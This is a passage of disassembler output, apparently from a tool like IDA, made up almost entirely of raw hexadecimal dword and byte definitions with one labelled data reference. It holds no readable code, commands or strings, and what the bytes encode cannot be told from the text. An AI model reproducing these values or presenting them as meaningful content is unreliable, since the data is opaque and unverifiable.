25FA2266h dd 3C48C2F7h, 0E10215B3h, 0FBCF3C1Ah, 99CC8006h, 380BD979h dd 0AD9F19A6h, 0D78E804Ah, 0B3268429h, 3165CE09h, 3741034h dd 8240873Dh, 5FBAD1h, 58E8433Fh, 0CAE4C964h, 782C7FEEh dd 60806202h, 6112B3AEh, 40C01B1Dh, 8AE04154h, 3C0CFE14h dd 3076B4B9h, 0E08E5C86h, 0E8087D0Ah, 0ACC41480h, 0CDB100AFh dd 86FE1730h, 0B5F909F3h, 9416311Dh, 0A2966C12h, 0E331D470h dd 4466578Eh, 503682F7h, 0D7AAE480h, 0B102A16Dh, 1595E20Dh dd 0EC344ED1h, 3D57BF7h, 0A270DBFCh, 96016179h, 627BAC9Eh dd 0E8233F78h, 0DC34E9A7h, 14436D00h, 8D0FF921h, 0C7660254h dd 92164ADCh, 8D098494h, 5E95172h, 0A000AE20h, 21971629h dd 81BD0022h, 0C6B42499h, 1901BB0Ah, 51EE2B42h, 9047ECC0h dd 0DA413F17h, 0B3EC7796h, 1984A061h, 78AD1D41h, 997440B6h dd 20828756h, 270D391Dh, 0D085D68Ah, 89ACB340h, 80404C07h dd 0D0F0CF09h, 0DEE26415h, 86C13h, 2F0A857Bh, 1ED257C0h dd 396D791Eh, 106B54C0h, 9A27ADFh, 911544B9h, 0C9C00C15h dd 2596D88h, 3C82A876h, 448D8CDh, 7900721Ah, 4BAC0B96h dd 52AE055Ch, 0A3ACFC40h, 51AD1A00h, 949B99Eh, 0F4C254A8h dd 0D9F833h, 11AE998Eh, 785C666Fh, 0AD0280ACh, 87E9F4F5h dd 0E128CDACh, 6325BDA1h, 90D1E8h, 0A57FE902h, 98248DEFh dd 0CA710774h, 47E5F954h, 6907AFC3h, 229C834Ah, 53C8211Eh dd 11217B0Ch, 0CB541B31h, 99C0615Ah, 0A163CA5Bh, 95EB5E51h dd 0C87B1C82h, 0C31CFCh, 351666Dh, 8E2F0617h, 0CB70D800h dd 0B3535682h, 0EE0CB8CDh, 58734C0Ah, 6828500Bh, 0BFF91C81h dd 6062D53Ch, 1C90DA94h, 4C5A4C5h, 14C9C09h, 32D930Ch dd 8AAA8440h, 28550026h, 109A10Ch, 94019C15h, 3F3CB92Fh dd 24327Fh, 44B30CE1h, 68E96310h, 0E4071C00h, 0DCC1428Ah dd 810F00CDh, 9A24F56h, 96785932h, 2950E4A0h, 0B726B40Ah dd 4509B0BFh, 4890302Fh, 0CC27518Fh, 0CC385BCCh, 53E61C98h dd 98758C00h, 32C1E146h, 6D7F8DCh, 0B81B1570h, 970050B4h dd 22F3FAE2h, 3FF28D69h, 8C8F2E8Fh, 0D3E02FFBh, 8A96B067h dd 0BA7C1D1Eh, 75A11640h, 18EDD68Fh, 0D04E285Dh, 9B6AD91Eh dd 85200020h, 651E3079h, 4D819AE1h, 6BE5E485h, 0F4A0FED7h dd 0FC0F0050h, 0B894568Fh, 0F5052E8Dh, 1F0DA145h, 0EB6A9000h dd 7514A7Eh, 43F13766h, 6E692726h, 0FE90F280h, 5507D516h dd 52CC0673h, 1B8C204Fh, 4FA792h, 850302A6h, 0F9B63CD0h dd 28800E24h, 0DAB46080h, 8B8E9Fh, 587B28C7h, 9D9DFF6h dd 43EB9100h, 2442779Eh, 0D2A8001Fh, 4876C92Fh, 0AAE696FCh dd 88E53000h, 18E8970Ah, 939C00E3h, 8AEDAB03h, 59001F2Bh dd 9885CA40h, 4DC4509Eh, 95009096h, 8874C105h, 21006F3Dh dd 0E7505804h, 0A163B44h, 116987F8h, 9B4F7004h, 3DB3AA00h dd 6C44B788h, 70970055h, 159492BCh, 99024279h, 6787F6DAh dd 127D404Bh, 956000A0h, 70B0E0BBh, 90003D79h, 0CDCE8E22h dd 0A905B7h, 6A2D96B3h, 451358E3h, 0C0185378h, 8579EC5Dh dd 1EE9021Dh, 0C6D983F0h, 0A6FD8040h, 20BAB330h, 913A58h dd 0B7F0BC6Ah, 3F42E055h, 4F609BE8h, 0E607F2D8h, 8CED0052h dd 8F47A221h dd 0DD36B3CCh, 3C70C8D9h, 285050E2h, 40E438E3h, 528DBC08h dd 19AAA42h, 0DC7DC3BBh, 0FFE9221h, 0A31AF500h, 2F74E5B9h dd 2CCF0D36h, 7AD8CE04h, 549F0B80h, 0C98CA0E9h, 8BF0071h dd 93BB2373h, 260C6CB6h, 20DF7ED1h, 0BCC50054h, 62D9D8F2h dd 2E01056Eh, 0FE69C26Fh, 0A0DF3D0Dh, 68FCA8h, 0A11CCDCBh dd 7DB929D4h, 8F007E79h, 74DBD68Eh, 39E44515h, 0F6809434h dd 32C63CF1h, 4C55AF07h, 7036E4E8h, 2271E812h, 9F20EBFh dd 40284A9h, 210062E7h, 30C1688Fh, 23185738h, 8B00FDA5h dd 0AF27B903h, 17553E7Fh, 34CF686h, 0DB76653Eh, 0A99AD1E8h dd 706C061Eh, 4137230Ch, 0C71F0067h, 0EF885BAEh, 6D06CD91h dd 8DD6F480h, 0FD950020h, 0BE410BC7h, 420E4506h, 0CE991B70h dd 0E9D4F413h, 649F30EAh, 0EF704C00h, 2A6F076Ch, 1E0900AAh dd 0C74A8F6Bh, 4C016144h, 0EDBA03CBh, 344B4957h, 304C5C84h dd 3A76DF1Ch, 4A802027h, 0EECB6CC6h, 0A500095Eh, 645164Eh dd 165E039h, 0A8B41502h, 0FC9E3292h, 0B02C969h, 0EAC723B8h dd 0E47041C1h, 0F0994048h, 363D0842h, 9D465540h, 7C62E8E9h dd 863800E4h, 75E7E599h, 124CF51h, 0F280E0BFh, 8BB04048h dd 0DBCA0094h, 0D87E5F47h, 80DF3B43h, 2A142870h, 0AFA7008Bh dd 214C8F1Eh, 0CF0239EBh, 253FFFDBh, 0F11C41F9h, 310F5E4h dd 0AF9D2BB0h, 5808E78h, 50C0E4B1h, 5BF6F0F7h, 627D0EA3h dd 3E824796h, 8842B416h, 31D27741h, 86393038h, 31A8BF1Dh dd 9EC31500h, 0AFC779h, 47BB56A2h, 0B501B846h, 0FC840624h dd 1845AB09h, 410FBA4h, 0ECB37670h, 999F20DAh, 15F24Ah dd 0E3C53F6Bh, 554FDEC1h, 480E3C03h, 0A8D6E676h, 2482446Ah dd 809C71D5h, 73459F4Ch, 60C1C7A0h, 41816C37h, 9CA23850h dd 0F8A72498h, 40DC2970h, 17B23629h, 0FC93D400h, 0CD3DE274h dd 0C07050ABh, 54D60E37h, 1AE34B59h, 190E90C1h, 73BBBA9Ah dd 79CFA000h, 0EF9C501h, 29F2A369h, 468389B8h, 1C3C0586h dd 0C4AB77C1h, 441F02h, 12F3814Ah, 0A2030BBAh, 0AD71F9FDh dd 0E003D237h, 0E20520Ch, 0E6D2B8CFh, 0A62C94E0h, 2200764Fh dd 8A7C8DA4h, 0F03F4E02h, 0FDB801BDh, 0E365DBD4h, 81FC4826h dd 0A9DAF61Fh, 40B86F08h, 3B4B35A0h, 185F8900h, 334F92DAh dd 63D201C5h, 0FF3F49E4h, 3C40EE46h, 24914110h, 11F77080h dd 8671E3B0h, 0D9EF20h, 0DBF59F48h, 133F58FDh, 0F9360907h dd 0A019E22Dh, 511D8270h, 8FD43D70h, 5FB8EF92h, 0ECCD07E0h dd 68900059h, 651E7609h, 28C5C87Eh, 981F16E8h, 96C74907h dd 1F5F9471h, 4CBFA2E0h, 0D68F5439h, 5EE24CABh, 98205446h dd 7840003Bh, 69E15F38h, 0C800FF93h, 0DBD19AD0h, 0F17B4A8Ch dd 8850E821h, 9CD8516h, 900125A4h, 5CCF6400h, 0A880DF4Eh dd 3C9D0003h, 0CC449BFh, 7E06C706h, 0BB9FE288h, 0C8B401D1h dd 8F2BDEB8h, 7555C494h, 0F0883A67h, 0FB49E241h, 3AFC1E0h dd 36CD5DDEh, 0EBF0D172h, 882648B7h, 88124AEh, 8ECA1DE3h dd 4DA4A06Eh, 798C5001h, 2FA3E092h, 1034A1D9h, 0D4A853F3h dd 4DE4030Fh, 15D0CB2Ah, 7510D479h, 534B00D5h, 0D8A43718h dd 1D2C2C31h, 0FE8E02D4h, 0B060EDFDh, 200AC802h, 88AC6087h dd 0B54D4E09h, 0F2DA80E4h, 308F670Eh, 93397400h, 54C522C7h dd 284A6077h, 6BFFCD59h, 0E9974600h, 0B4D0E834h, 1DB70E41h dd 0FB02EDC0h, 5D00FE68h, 32DB582h, 31ABD293h, 0BFC0CF64h dd 38B33830h, 0D6C424h, 0D5350CCEh, 5E188288h, 0D11CC605h dd 98405B3Bh, 97F6FA92h, 75941E2Fh, 9CE6C01Fh, 0FFBEB728h dd 7C6D040Fh, 29CCC031h, 4BB02D8h, 0C5151F55h, 247740A6h dd 4804F2DBh, 53006484h, 0BB2226E1h, 0C0BAAB7Ch, 3256C914h dd 93007DE2h, 4E57F45Dh, 9A94EAA9h, 65C482FCh, 8051EF34h dd 0F80B96FBh, 0AA26004Bh, 2D8670BBh, 280C7667h, 617F1340h dd 71EBE412h, 7A01F71h, 7E0F02E7h, 0B484C060h, 1F608083h dd 0C37AD362h, 78B3CB24h, 7B27AE40h, 0B9151292h, 0A81E88h dd 0CDD0F56Eh, 610BA1F9h, 35CF8EFEh, 55588008h, 0F8EB1C28h dd 0EF014FE2h, 0FC291B67h, 0F84EF185h, 304F8984h, 79F635C3h dd 3DC40017h, 68521B53h, 82EC2944h, 0B4182CB1h, 252B62A9h dd 6C20B075h, 0BFE4493Dh, 5659CE0Bh, 8FEC88ECh, 57009513h dd 0A51171B4h, 580B14ACh, 14024CDAh, 0E21819E5h, 48C432h dd 62E63DB8h, 218FFBDEh, 92442D06h, 397972ACh, 7B9D3859h dd 0D7D3803Dh, 0F18627CBh, 2CFDD426h, 0E9898780h, 45764Eh dd 7EC3C2C0h, 706A9ECAh, 0ACA35205h, 94305778h, 8D56C35h dd 561E1D8Eh, 9C1842h, 0A4E47289h, 6E234400h, 0F662C7FEh dd 4C9700CAh, 3ED449C2h, 9E00E046h, 0B4A6C4F9h, 130168FCh dd 415AB776h, 54C7D5C8h, 0F55C3027h, 0E03AC899h, 390B47B1h dd 5FE80068h, 5885774Dh, 0B8FA767Dh, 11568F02h, 600EA2B1h dd 2276F9Fh, 6E6757Eh, 4E0C8E0h, 1A4C58CDh, 9E6805D0h dd 0D8C03FEAh, 48942661h, 59089411h, 9E40B3A2h, 10162FF5h dd 84523D12h, 0C6004F96h, 9F349377h, 5D73A900h, 9EBBD322h dd 0BA4D7B42h, 852009F8h, 0D0428CBEh, 0DBD7B440h, 80B86A59h dd 0AA77F756h, 0BC064C73h, 0E6DF904Dh, 0BFEA00BCh, 11091E0Fh dd 30A2FC1Eh, 0E572B680h, 2CF2DE45h, 493C1FE0h, 6098010Ah dd 0A83ABCC7h, 0BD423DFCh, 6D69A980h, 0AE00757Fh, 0BA08CA21h dd 0EDEB4CCh, 0FCAC54E6h, 4AE157C2h, 2500F0C4h, 3275138Ah dd 2864F2h, 0F96F1234h, 2D03421Eh, 80A7D03Eh, 80E071CAh dd 0F04B73h, 6E3548B4h, 1B039D6Fh, 0E9980A01h, 4C9CCFCBh dd 1CEDAF8h, 0E9669FEh, 0D6189ECDh, 0A64F407Fh, 29D5029Bh dd 87DEDBCBh, 88A039C3h, 0E57425CEh, 1E3E0200h, 7D3F552Bh dd 81F8D7h, 1BFAD377h, 0BA4591D1h, 0C8246E00h, 0E89DE337h dd 2BF53C41h, 49F1EA00h, 0C1FFA629h, 9F35C700h, 0AE3794F0h dd 24EE0A88h, 8020927Eh, 4A48E52Fh, 0C550E0CAh, 3D53B418h dd 8586F34h, 14D4E04Bh, 2E198AF9h, 2408077Fh, 60821C4Dh dd 0B6FBF808h, 0E6B5F418h, 1560E2FAh, 4CEB2BC6h, 50A97099h dd 2B1D5864h, 33B71501h, 32F95A78h, 403808A1h, 0E0D56118h dd 35391F83h, 0A68ABE6h, 60308251h, 29133255h, 0DAB58B2Ch dd 0EFC36E02h, 149C9ED5h, 34CB03D8h, 0D8A37586h, 80053A15h dd 8A298268h, 209531B4h, 0BB15ADBDh, 8264E491h, 30CA4738h dd 4A2BB8B5h, 0B281182Ch, 25DAE1F2h, 12D51C20h, 10890C22h dd 87C044BAh, 0B9A140C6h, 0BEF5008Ch, 29AE8AE7h, 1A00FADCh dd 5AFB0206h, 0A58C4B05h, 9170B7ECh, 80B58933h, 0F09E83A0h dd 4CD014h, 0B0FC8E8Bh, 0CE767AFAh, 601DDAE8h, 0F08AD664h dd 98C4487Dh, 34304936h, 0ECEE9086h, 5AFA0EC5h, 9A80DD61h dd 6B2BB224h, 0EED0B950h, 0D667B314h, 0CD31B150h, 0BB48541Ch dd 0A0BA29A3h, 23D0884Ch, 7400A160h, 0CE8AE60Bh, 389007F3h dd 439BA167h, 80C9CA7h, 10A2F1E7h, 1F977C33h, 6756D27h dd 20C2D707h, 325AE800h, 18415121h, 4433005Bh, 3582F1D0h dd 7A017462h, 51E00FB9h, 4BE0037Ch, 412E0765h, 0F0C2EBF1h dd 1AC8A927h, 8758A763h, 0C778018Eh, 46B50CAFh, 1833FFD7h dd 0BF3B60FFh, 8D4FC0A8h, 810893EEh, 8273FFC6h, 0BE34CA61h dd 0C836605Dh, 73477DDAh, 41083A35h, 4F912701h, 0D5D0E132h dd 0F7584CCFh, 0B1810085h dd 4FFAFD5Dh, 876A1D15h, 6889874h, 0A7862AA8h, 43A1031Ch dd 693B0E39h, 0E2F110ABh, 8F385897h, 39928331h, 0C1F0B7C6h dd 5E5805A3h, 20982017h, 0DBA9FF18h, 0BC08940Fh, 812A0B69h dd 589550BAh, 3865AC41h, 0A6EC07D0h, 59A73F34h, 0B81C178Fh dd 0EFA16100h, 0A8A5375Fh, 0A6A39F0Fh, 8050831Fh, 391542ABh dd 0E8A3A9Bh, 64481EFBh, 78DA81D9h, 0A1B88BCDh, 3B040756h dd 184A9107h, 41495AE2h, 609F7733h, 642445C1h, 275860D7h dd 4F301570h, 4BE158DBh, 775F15F7h, 85DDBCB8h, 4029F025h dd 2AE019Ch, 3CACF760h, 92E6801Ch, 392129F0h, 575F18F3h dd 0EB973095h, 0B6382CA6h, 1B7A2F2h, 65CA3D41h, 414628D7h dd 0F879EC88h, 0E515A9BAh, 8760DB1Ch, 9CF6D56Ah, 8612841h dd 301B188Ch, 105D4047h, 8AFAC817h, 54BBC502h, 5D2090ABh dd 68C32AB9h, 0A1810A80h, 0E03418CCh, 0FE7B2892h, 0AEE8C0A4h dd 0DB9B1805h, 0AC2C693Dh, 0BF130A93h, 81C06DACh, 9AD19971h dd 7788405Dh, 15524DE2h, 6BEC9DCh, 28D1931Ch, 0ECDC72E1h dd 0A565F892h, 86C09FB8h, 6866F8D4h, 302A0109h, 7210960Eh dd 39A33BD5h, 212E6305h, 0C81030F8h, 0AD54CC66h, 43034184h dd 40576416h, 0DCE84292h, 0FFFFD81h, 6131823Ah, 65154BB1h dd 4E9F831Ch, 0A11AAFC6h, 38F8C581h, 30110E50h, 0A12907CDh dd 44999489h, 0C74E49C0h, 0AC6B5536h, 0FAD1D0FBh, 3428485Fh dd 7B87924h, 0C0A055B7h, 1C76EABAh, 4CAEBB14h, 0CC8DA03Ch dd 43902801h, 20E1038Ch, 157B0E40h, 0AA9B0800h, 0B93AC67Ch dd 1B1C3C8Bh, 1022FD7Ch, 0A4DE53C0h, 48C4579Ah, 0CC829D01h dd 1A4457Bh, 96739A9h, 0DB2100D2h, 6B0A079h, 5AC62BACh dd 0B2B30350h, 494E648h, 6C83C741h, 1132A1FBh, 0B8C07432h dd 5F12AC96h, 456130C7h, 0EAFB1BD0h, 0A9B8C649h, 0CF0098E4h dd 1F5AC5A4h, 0FACB60h, 97677C63h, 0F770B4DAh, 70377826h dd 9860FB70h, 0B6752472h, 0B8130098h, 0C1C69B12h, 6D1ACC16h dd 0F23A9300h, 2C9ABE21h, 0B409ECBh, 3400FE3Dh, 0B768450Ah dd 9C3A9124h, 68ACA51Dh, 8092650Ch, 0C976002Ch, 7AE6AB85h dd 9B615CA9h, 7B0B0F10h, 722E9E0h, 0EC1C8976h, 0E5B7D02Ah dd 0CB0E65C8h, 80F5CC17h, 223967BFh, 8923079Ah, 417747A6h dd 40323DF1h, 0A2C42FEFh, 17A0841Dh, 1B1994Fh, 77EDE3CFh dd 74A9D970h, 33841D7Ah, 305E802Ah, 0E4A3F590h, 3D60C9F8h dd 195F0590h, 0AAB500CCh, 0AFD59AC0h, 30A83191h, 0BC71B237h dd 9018A390h, 0A960FBEFh, 70330096h, 7405B309h, 7698B0C9h dd 189D78B5h, 8B845C1h, 331727A5h, 2B0E3590h, 0A4128717h dd 0F84D6950h, 5B650EC1h, 8685C7B2h, 0EF6C2140h, 0B8BBD4DBh dd 0F905F00h, 0C97743ADh, 70310E48h, 2500A949h, 0CB350E89h dd 0CA1F0572h, 0A759697Ah, 644DDE88h, 0F6325C4h, 905914EDh dd 7A691D40h, 77740B49h, 0B528090Fh, 6A304674h, 2B83010h dd 2B726B48h, 61D28900h, 0F9C305C0h, 62691477h, 8A18B0CCh dd 0DECE48E0h, 88472081h, 7707FA47h, 2D660FC0h, 0BDA81FE9h dd 0FF8986C7h, 0D0DDC074h, 10AF0CCCh, 711F1C6Ch, 0C0550109h dd 41C80DC5h, 207D108Ch, 48068620h, 0F509E977h, 8BE60A8h dd 0C9942049h, 65CDE51Dh, 0A6E41839h, 0C0045F90h, 2C20A120h dd 0FA78EC69h, 2FA42901h, 508425CBh, 7D6688Fh, 56E58983h dd 2C1485C0h, 1F4C674h, 24B6245Ch, 0C20A202Eh, 0F601B472h dd 7EC92876h, 60892C20h, 81492073h, 4F39945Ah, 959A864Ch dd 3409846h, 0E92EB09Fh, 201E54C3h, 8900AECFh, 92AC6DEh dd 24971E40h, 28CC40E9h, 710EADA9h, 10BF2918h, 74ED5388h dd 476800C1h, 0EF099597h, 8400492Bh, 9B89798Ch, 1DC5C875h dd 879D7D93h, 0A29AA086h, 0C140ED21h, 90A0C232h, 0E0E5D77Ah dd 0CB002A8Ch, 7607C085h, 23BF849h, 0BE7025CAh, 14608975h dd 93FEA5C9h, 6028C5E8h, 4A308065h, 44CD708Bh, 618571CAh dd 0B07E20A7h, 1090D775h, 0D824A92Fh, 890AE00Bh, 3048478h dd 0DC8B7B0Dh, 82581F02h, 0AC40DAACh, 4E01B44Fh, 7123A5C0h dd 0BAD5E97Ah, 7C6F1820h, 0BD452853h, 0AC900D4h, 5B897A72h dd 0A9192D64h, 0DD18AF5Dh, 6E092085h, 52FC0DBCh, 12DE108h dd 82C26DC9h, 41A95EF0h, 70845C04h, 87D02765h, 2F55C030h dd 0FB4C3249h, 0F76D1820h, 9385140h, 360EA5CBh, 672B1C02h dd 4BCC1C60h, 3BD50C6h, 0FE330030h, 4997E974h, 0B048E5CAh dd 17850934h, 0D38403A8h, 7A9818B3h, 60D7D059h, 66480498h dd 93007408h, 0BB4929BCh, 3109286Eh, 5A10C8B0h, 0BA45D473h dd 559A9600h, 0A925C99Eh, 2080F581h, 0E928CAB2h, 710010F2h dd 0C60FFD69h, 74217FC5h, 39191FC1h, 16C8002Ah, 0C26E920h dd 84C09E8h, 73B50288h, 0DE55973Ah, 6773C6Fh, 0DB45CA47h dd 7724C83Eh, 8512A8D9h, 9109F407h, 0F58900AFh, 4D359ABFh dd 0E3C034AAh, 5239CD9Dh, 6F1390E2h, 1409CFE5h, 2F8001A4h dd 742070F2h, 83E4976h, 4E5B0180h, 6309EA87h, 0A5448F90h dd 0BC021C74h, 0C005ACE5h, 0AE07518h, 8B8EB961h, 58264F3Ch dd 78CFE003h, 7AE365AFh, 776B3470h, 0A143670Ch, 0D258D7CFh dd 4868A4C9h, 898B4E1h, 0A8DF4026h, 0F0F39D0Ah, 700F3513h dd 7B42849h, 432D5807h, 1813CCC9h, 74065D52h, 4C20BE8Fh dd 317C3870h, 4F583D5Ch, 0D71089A9h, 0E774800Fh, 9AC97BBDh dd 1B65268Ch, 46B18874h, 3804BF0Ch, 7FCC09AFh, 9CA2C969h dd 0CC843C8Bh, 65448024h, 3090F59Fh, 26546220h, 13D0FD14h dd 29C40247h, 0F041419Fh, 0C53C207Fh, 58A8F932h, 57746870h dd 0B7D0F965h, 1D5898D0h, 0B29BB6Bh, 5802268Dh, 7861A225h dd 89643081h, 484BB720h, 950048D3h, 0E92A5F73h, 8C752A3h dd 29813176h, 10895D6Eh, 6803A830h, 9024B8DEh, 6903D871h dd 0E12794AAh, 282016DBh, 0D4EC4844h, 0A0EBF714h, 0C3105A37h dd 80349DA7h, 9C8608B8h, 0A018B038h, 4C48A97Ch, 7A13980Dh dd 0B69406F4h, 784808F6h, 0BAE900B0h, 0CE697994h, 26F0B09Bh dd 1F8C27F2h, 6589392Dh, 3885DA56h, 690CC0D3h, 0CB093479h dd 306F0C5h, 1EF18538h, 80DC8330h, 25157D60h, 0B703FF3Eh dd 459380FAh, 0ACB1C124h, 0CBC0E0h, 8C4D99F4h, 0A32D1484h dd 8D9EEE0Fh, 183AFF3Dh, 0A508F14Ah, 60C01801h, 156D182Fh dd 20C67C04h, 40F8AAB1h, 80C0DE06h, 0E2E0082Ch, 20923E07h dd 40C0B7A3h, 0FAF49BE0h, 0FA0C3E25h, 9E63F445h, 0A73180F8h dd 7874A00Ah, 94080E3h, 0A95700FDh, 0C5DB6546h, 0B9009F69h dd 286AC6ABh, 0A4C3A831h, 0E39E0010h, 142BFD1Fh, 0DF004447h dd 7F90A0F9h, 0A6320F4h, 0A8ED9EF5h, 4C53602Ch, 2DE4D1CEh dd 85671400h, 75C0F9D6h, 3E66155Fh, 0CA058405h, 84CD1A0Dh dd 0BE3C2077h, 0D4001DF6h, 871B3F0Bh, 0EFA0D62h, 148B3460h dd 7D16DC5h, 4ECBFC8Ch, 0FE1D47A3h, 634460CDh, 773090F3h dd 26A7C0E0h, 5E2D0A93h, 98A9B0h, 0C0FB6F56h, 4DE21ABFh dd 20166A29h, 0D72A0C04h, 901DC2C4h, 0A286170Eh, 90702780h dd 105F6258h, 52FF2Eh, 2D92AAE7h, 0F6EAD97Eh, 0F79D3FE0h dd 2A664087h, 1254C024h, 57E05E25h, 0F131C0FAh, 0AA9EE08Eh dd 508740D0h, 0DEBF98CFh, 987003A8h, 0C6DBBE2Dh, 1C6B00C7h dd 5F03A08Ah, 9B20F512h, 0BC03A70Ah, 5380C0F0h, 24C270E0h dd 0C049A05h, 19F0B828h dd 0DE2B6E00h, 2D9E267Dh, 0C2DF02E2h db 0C0h byte_530055 db 36h, 68h, 0F8h ; DATA XREF: ___:off_437A24o ; ___:off_437A3Co dd 0FC0AA09Ch, 80AE83D2h, 95CE0800h, 3A29608Fh, 3E0E8D77h dd 7BA7146Eh, 0D1CD40A2h, 0B9F8F4DAh, 0C12808D1h, 0B454E7EBh dd 272824h, 0E0C098A1h, 9D9CBE1Dh, 3AC06F57h, 660304BFh dd 408338C0h, 0E71AD8AEh, 831893B3h, 0B8083741h, 8E67593Ch dd 6C608A38h, 0F64E90C5h, 52D051Ah, 671E24EBh, 944AD120h dd 0B587106Ch, 29EDE883h, 40649F95h, 17A10CB8h, 0FC8C1451h dd 8C90CEAFh, 99FC6012h, 74EA882Ch, 77DA2096h, 95A0C712h dd 0A0241014h, 498B8659h, 0E80AC8E0h, 13F8BC0Dh, 6D240083h dd 4D9E2223h, 0F8F89528h, 2534211Eh, 24146953h, 60D5B0F0h dd 0F6C231BCh, 206B07D8h, 86284020h, 4A3EBCBBh, 3A4D07A1h dd 8EC0CAA5h, 268D1A1Fh, 58F6A0h, 6D17503Bh, 80C49BD9h dd 0F8801D04h, 1362E0BAh, 74DB43Eh, 4BF3D72Ch, 2B6AAF00h dd 0A87447FEh, 4490BE00h, 6BB4B1B7h, 0A0511DB5h, 73910E6Dh dd 5DF10DDEh, 7CEF110h, 54ACFEC5h, 1F9101Dh, 4F272E11h dd 8601C873h, 4403F301h, 0F212D387h, 3A3013F0h, 0F601B4B3h dd 7C33802Ch, 0BFC7302Bh, 0F4FF03Ah, 38A630Bh, 0E0BDC6B9h dd 8038D3h, 0BEA895F3h, 520B49B3h, 27401307h, 45537353h dd 0C57CC151h, 745B33F0h, 8BD3181Fh, 39B7280Fh, 0AB934400h dd 0BD534B3Ch, 0D838C6DDh, 78001892h, 6BAF4DB0h, 3322807h dd 0F231BCADh, 0B2A1C872h, 0DC2EED0Bh, 0ECF998A8h, 92F01DBBh dd 4038BA00h, 29F57457h, 83961B2h, 9B034E72h, 0A7105248h dd 0B77E6F90h, 7BA202B0h, 7416AD57h, 0F084DDE1h, 20DEA6D7h dd 7639A000h, 0FA135F7h, 9FFC377Bh, 0EC91781h, 0DBA3F175h dd 6E6097A0h, 0CCA62280h, 57403838h, 750BE503h, 354D2B7h dd 74AA4518h, 2000BFD7h, 1BA781F7h, 73A89C1h, 39350267h dd 0A6294360h, 9AC0E1E0h, 3C0001E8h, 35377E6Ch, 0BF661Dh dd 0CCD22AD8h, 845DB46h, 0CF89B600h, 2F90E803h, 14AC32h dd 127D21B9h, 4E535EB6h, 0ADE13F00h, 1B90CBFBh, 0F6263D68h dd 0EFDC7780h, 55C30192h, 51EE5324h, 14AB140Ah, 0DE8204C1h dd 0E25381C0h, 0DC4B0E8Eh, 0A9452BFBh, 672C70B3h, 1F20C6E5h dd 52E3BD8h, 0CBBB380h, 8D9BF68Ah, 0F36DA60h, 0F480C397h dd 79EF9047h, 20C00707h, 80FCBEB9h, 0E0C3E938h, 7CB2F63Ch dd 49274200h, 0F59DA318h, 0E680001Bh, 0B30740DBh, 122460D9h dd 4823ACC3h, 0AA938D02h, 0CE88A06Ch, 42B3ACBAh, 8F9803Bh dd 8254EEEDh, 87B9C3C1h, 0ACABBDB0h, 0F9B8C04Eh, 0C3B356EBh dd 0C1D59F90h, 6040B580h, 0CE3C0C00h, 0CC901BFBh, 0C8BB0AADh dd 813014B7h, 0BC51615Fh, 360E00D1h, 5BF701AFh, 8B145267h dd 40F88572h, 70C11012h, 608ACA46h, 0A903C36h, 38882571h dd 58490B70h, 54018D59h, 501AE210h, 9BE92134h, 0AEECB654h dd 0FBE36907h, 58BCF98Bh, 11E7379h, 14D0242Ch, 0D0CE0B2Bh dd 0C93E46CBh, 0B81794C7h, 29F8F5Ch, 0F27C852h, 4B50462Ch dd 0C12D7600h, 1405CEE0h, 2A8A5EBh, 0AC3BFE42h, 1757EE20h dd 0ACC1D60h, 87EC0615h, 0AC140820h, 0B0DCC7D2h, 30E7C50Ah dd 8E4034EBh, 10A496DEh, 0C6091D09h, 2E4C21D5h, 608F3BBFh dd 208E1590h, 81C08C75h, 706F84B2h, 0C0A3CE80h, 1F284C30h dd 0D8A5C0C6h, 0E89803Ch, 0F45396BDh, 0EEF644h, 0B186A2B3h dd 4CCFF851h, 0D3184800h, 4E40313Dh, 4DC7009Bh, 0AE8CDAFAh dd 0E4EC02F9h, 0A81B2803h, 2ACA562h, 53D97738h, 803AD278h dd 1674B735h, 84FA0001h, 0E362664Bh, 51058DFDh, 33678F38h dd 72171841h, 24107350h, 621065F3h, 0F8082B23h, 0E2C0577Dh dd 40A20BBDh, 8220C4EDh, 0A02C6064h, 53CA63C2h, 0E4B0D81Dh dd 68A09802h, 59EF3033h, 6441D460h, 1D4B5A82h, 766CD78h dd 0AA61C3D8h, 3EBFE054h, 0BC01E672h, 4604FA06h, 804B4942h dd 29DCE306h, 0A41029BCh, 0DEE00937h, 9644CD3Ah, 0FD627944h dd 11F5785Ch, 1E289A86h, 480F1AE4h, 0A0B03B98h, 94973Ah dd 334AABB2h, 1252056Eh, 0DFE3601Fh, 4BD9B6C0h, 3382720h dd 355828D2h, 1CA07F23h, 55002F7Ah, 0F41854F1h, 5078A197h dd 1B206Dh, 6A084235h, 43872084h, 9832790Fh, 952F2114h dd 18486F5Eh, 0D7021140h, 53E700FCh, 6E94F069h, 85608F2h dd 0EEC0A214h, 0F20BA4A0h, 4720284Eh, 0C108486h, 1405E71h dd 0A806A751h, 0DBB4F7B2h, 0C4341E08h, 75F40E8Dh, 2380F60Eh dd 5B4AF26h, 0C928B160h, 0E034A4FFh, 7842000Eh, 38435DC8h dd 0E70F0B05h, 1F60B2B4h, 0C04C2F14h, 0F46970CBh, 1D78D6C4h dd 18AF9E9Ch, 0E0540847h, 0A170F763h, 12D4A103h, 9F43E7C7h dd 8774E85Dh, 5832008Ah, 0D8423824h, 68C34A26h, 92F9B41Ah dd 40B4B892h, 0F8E00C9h, 67204F87h, 68CDEA99h, 0B704C8BFh dd 5332B471h, 0A068B8E8h, 1518C79Ch, 84B4F07Bh, 0A4973415h dd 0C36C0DC4h, 0D0086338h, 21EADC27h, 64E40F8h, 0D620190Bh dd 58B7624Bh, 9405B934h, 863F828h, 64A47A18h, 56FF1982h dd 4640B068h, 8B0810DDh, 0D4718B9h, 40698828h, 3B0017A0h dd 0E7C0BF8Dh, 7CF65E9h, 0F8692C1h, 770740E6h, 0D042CA7Dh dd 13B57F00h, 9298D32Dh, 79026601h, 7823F7A8h, 0B23C6818h dd 999882EEh, 0E0F0C692h, 529DD7ADh, 7E73146Ch, 0A65744C3h dd 77501962h, 0D8149BCAh, 609CA73Fh, 0E70678AEh, 0C0118F2Fh dd 31817EC5h, 822CF329h, 0A438E629h, 8064B8C9h, 0C6E91079h dd 54638B6h, 0CF27D725h, 6E723C30h, 29A460E9h, 0F71B5926h dd 67DCD81Fh, 0F27A3800h, 38BF8F1h, 78181E64h, 249B192Eh dd 78D8082Bh, 0B35E1601h, 0B450D5A1h, 3CA872B9h, 0E2033457h dd 0E987B018h, 108EE6A7h, 70FFF031h, 0BB0354D5h, 2058780Ch dd 6359106Dh, 0A83D0888h, 4C7298E1h, 9052574h, 8CF31C2Bh dd 0E05DD81Ch, 0E03EA708h, 6B25C92Bh, 0A98A020h, 0C7D7CF87h dd 